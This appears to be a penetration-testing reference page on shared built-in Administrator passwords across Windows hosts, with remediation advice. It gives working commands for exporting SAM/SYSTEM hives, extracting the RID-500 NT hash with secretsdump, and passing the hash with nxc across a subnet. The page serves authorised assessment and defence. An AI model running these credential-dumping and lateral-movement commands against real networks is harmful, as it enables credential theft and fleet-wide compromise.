Shared Local Administrator Passwords
How Shared Local Administrator Passwords works
Shared local administrator passwords are one built-in Administrator secret reused on every host because LAPS or an equivalent was never deployed. The password is baked into the golden image or set by a build script, so every machine cloned from it holds the same SAM entry. The built-in RID-500 account cannot be locked out over the network by default, which makes fleet-wide reuse an authentication primitive rather than a guessing problem.
The attacker recovers the local secret from one machine - LSASS, the SAM hive, or a cached logon - and reuses it against the next host with pass-the-hash, no cracking required. Because the account is local and identical everywhere, one recovered hash authenticates to the whole fleet, and lateral movement leaves ordinary local-logon events rather than anything a directory alert watches. It is easy to miss because each host looks individually configured and the build “works”: nothing surfaces that the credential is a single shared key until someone compares hashes across two machines.
Shared Local Administrator Passwords in practice
Recover the built-in Administrator hash from one authorised host
Start on a single lab host you are cleared to test. Take the local hash from the SAM registry hives rather than touching LSASS, so the step is offline evidence collection.
# On ws01.lab.internal (authorised), export the SAM and SYSTEM hives, then
# parse them offline on the testing box.
reg.exe save HKLM\SAM C:\lab\sam.save
reg.exe save HKLM\SYSTEM C:\lab\system.save
impacket-secretsdump -sam sam.save -system system.save LOCAL \
| grep -i "Administrator:500:"
# Yields Administrator:500:aad3b...:<NTHASH>::: - record the NT hash only.Prove reuse by comparing material, not by cracking
Reuse is proven by two hosts sharing the same RID-500 NT hash. Compare the hashes offline; if they match, the password is identical and no plaintext is needed.
Host RID-500 NT hash (first/last 4) Verdict
ws01 31d6...aad3 baseline
ws02 31d6...aad3 MATCH -> same built-in password
srv-print 9f2c...77e1 differs -> not shared here
Decision: any two hosts sharing the RID-500 hash confirm fleet reuse.
This comparison alone is enough evidence; cracking to plaintext adds
risk without adding proof.Demonstrate the blast radius with one lateral authentication
Show, on a second authorised host, that the recovered hash authenticates - the one-host-to-all-hosts step. Use a read-only remote check so nothing is changed on the target.
# Pass-the-hash to ws02 with the hash pulled from ws01. Read-only: list a
# share and read the OS version, do not execute a payload.
export H=aad3b435b51404eeaad3b435b51404ee:<NTHASH>
nxc smb ws02.lab.internal -u Administrator -H $H --shares
nxc smb 10.10.20.0/24 -u Administrator -H $H | grep '\[+\]'
# Every '[+] ... (Pwn3d!)' line is a host the single built-in secret unlocks.Quantify the fleet-wide exposure
Turn the single success into a count so the finding states scope, not anecdote. Sweep the segment and total the hosts the one credential authenticates to.
nxc smb 10.10.20.0/24 -u Administrator -H $H 2>/dev/null \
| awk '/\[\+\]/ {c++} END {print c" hosts accept the shared built-in Administrator"}'How to fix and prevent Shared Local Administrator Passwords
- Deploy per-host randomised built-in passwords
- Windows LAPS (or a vetted equivalent) so every machine’s built-in Administrator password is unique, stored in the directory, and rotated automatically.
- This removes the reuse primitive directly; a single recovered hash then unlocks exactly one host.
- Rotate immediately after enrolment and after each retrieval
- Force a rotation when LAPS is first applied so the image password dies, and rotate on checkout so a read secret cannot be reused later.
- Block the built-in account from network logon
- Deny-network-logon for the local Administrator via policy so a recovered local hash cannot pass-the-hash between hosts even before rotation completes.
- Remove local admin passwords from images and scripts
- Strip hard-coded secrets from golden images, unattend files and build scripts; treat any such secret found as burned and rotate it.
- Monitor for reuse patterns
- Alert on the same local account authenticating to many hosts in a short window, and audit LAPS password reads so retrieval is attributable.
Last updated
